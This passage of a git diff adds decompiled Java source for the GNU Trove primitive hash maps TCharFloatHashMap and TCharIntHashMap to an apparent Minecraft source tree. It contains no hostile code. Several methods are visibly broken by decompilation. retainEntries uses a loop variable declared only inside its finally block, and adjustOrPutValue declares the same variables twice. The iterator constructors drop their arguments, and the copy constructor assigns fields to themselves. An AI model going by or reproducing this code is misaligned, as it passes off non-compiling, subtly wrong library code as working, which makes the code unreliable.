+  public float put(char key, float value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public float putIfAbsent(char key, float value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private float doPut(char key, float value, int index)
+  {
+    float previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Character, ? extends Float> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Character, ? extends Float> entry : map.entrySet()) {
+      put(((Character)entry.getKey()).charValue(), ((Float)entry.getValue()).floatValue());
+    }
+  }
+  
+
+  public void putAll(TCharFloatMap map)
+  {
+    ensureCapacity(map.size());
+    TCharFloatIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public float get(char key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public float remove(char key)
+  {
+    float prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TCharSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public char[] keys()
+  {
+    char[] keys = new char[size()];
+    char[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public char[] keys(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TFloatCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public float[] values()
+  {
+    float[] vals = new float[size()];
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public float[] values(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(float val)
+  {
+    byte[] states = _states;
+    float[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(char key)
+  {
+    return contains(key);
+  }
+  
+
+  public TCharFloatIterator iterator()
+  {
+    return new TCharFloatHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TCharProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TCharFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] keys = _set;
+    float[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TFloatFunction function)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TCharFloatProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    char[] keys = _set;
+    float[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(char key)
+  {
+    return adjustValue(key, 1.0F);
+  }
+  
+
+  public boolean adjustValue(char key, float amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public float adjustOrPutValue(char key, float adjust_amount, float put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    float newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      float newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TCharSet
+  {
+    protected TKeyView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TCharFloatHashMap.TCharFloatKeyHashIterator(TCharFloatHashMap.this, TCharFloatHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return TCharFloatHashMap.this.contains(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!TCharFloatHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TCharSet)) {
+        return false;
+      }
+      TCharSet that = (TCharSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TFloatCollection
+  {
+    protected TValueView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TCharFloatHashMap.TCharFloatValueHashIterator(TCharFloatHashMap.this, TCharFloatHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return values();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      float[] values = _values;
+      char[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != '\002') && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TCharFloatKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TCharFloatKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TCharFloatValueHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TCharFloatValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TCharFloatHashIterator
+    extends THashPrimitiveIterator
+    implements TCharFloatIterator
+  {
+    TCharFloatHashIterator(TCharFloatHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public char key()
+    {
+      return _set[_index];
+    }
+    
+    public float value()
+    {
+      return _values[_index];
+    }
+    
+    public float setValue(float val)
+    {
+      float old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TCharFloatMap)) {
+      return false;
+    }
+    TCharFloatMap that = (TCharFloatMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    float[] values = _values;
+    byte[] states = _states;
+    float this_no_entry_value = getNoEntryValue();
+    float that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        char key = _set[i];
+        float that_value = that.get(key);
+        float this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TCharFloatProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(char key, float value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeChar(_set[i]);
+        out.writeFloat(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      char key = in.readChar();
+      float val = in.readFloat();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TCharIntHashMap.java b/src/minecraft/gnu/trove/map/hash/TCharIntHashMap.java
new file mode 100644
index 0000000..9713416
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TCharIntHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TCharIntHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharIntIterator;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TCharIntMap;
+import gnu.trove.procedure.TCharIntProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharIntHashMap
+  extends TCharIntHash
+  implements TCharIntMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient int[] _values;
+  
+  public TCharIntHashMap() {}
+  
+  public TCharIntHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharIntHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TCharIntHashMap(int initialCapacity, float loadFactor, char noEntryKey, int noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TCharIntHashMap(char[] keys, int[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TCharIntHashMap(TCharIntMap map)
+  {
+    super(map.size());
+    if ((map instanceof TCharIntHashMap)) {
+      TCharIntHashMap hashmap = (TCharIntHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    char[] oldKeys = _set;
+    int[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new char[newCapacity];
+    _values = new int[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        char o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public int put(char key, int value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public int putIfAbsent(char key, int value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private int doPut(char key, int value, int index)
+  {
+    int previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Character, ? extends Integer> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Character, ? extends Integer> entry : map.entrySet()) {
+      put(((Character)entry.getKey()).charValue(), ((Integer)entry.getValue()).intValue());
+    }
+  }
+  
+
+  public void putAll(TCharIntMap map)
+  {
+    ensureCapacity(map.size());
+    TCharIntIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public int get(char key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public int remove(char key)
+  {
+    int prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TCharSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public char[] keys()
+  {
+    char[] keys = new char[size()];
+    char[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public char[] keys(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TIntCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public int[] values()
+  {
+    int[] vals = new int[size()];
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public int[] values(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(int val)
+  {
+    byte[] states = _states;
+    int[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(char key)
+  {
+    return contains(key);
+  }
+  
+
+  public TCharIntIterator iterator()
+  {
+    return new TCharIntHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TCharProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TCharIntProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] keys = _set;
+    int[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TIntFunction function)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TCharIntProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    char[] keys = _set;
+    int[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(char key)
+  {
+    return adjustValue(key, 1);
+  }
+  
+
+  public boolean adjustValue(char key, int amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public int adjustOrPutValue(char key, int adjust_amount, int put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    int newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      int newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TCharSet
+  {
+    protected TKeyView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TCharIntHashMap.TCharIntKeyHashIterator(TCharIntHashMap.this, TCharIntHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return TCharIntHashMap.this.contains(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!TCharIntHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
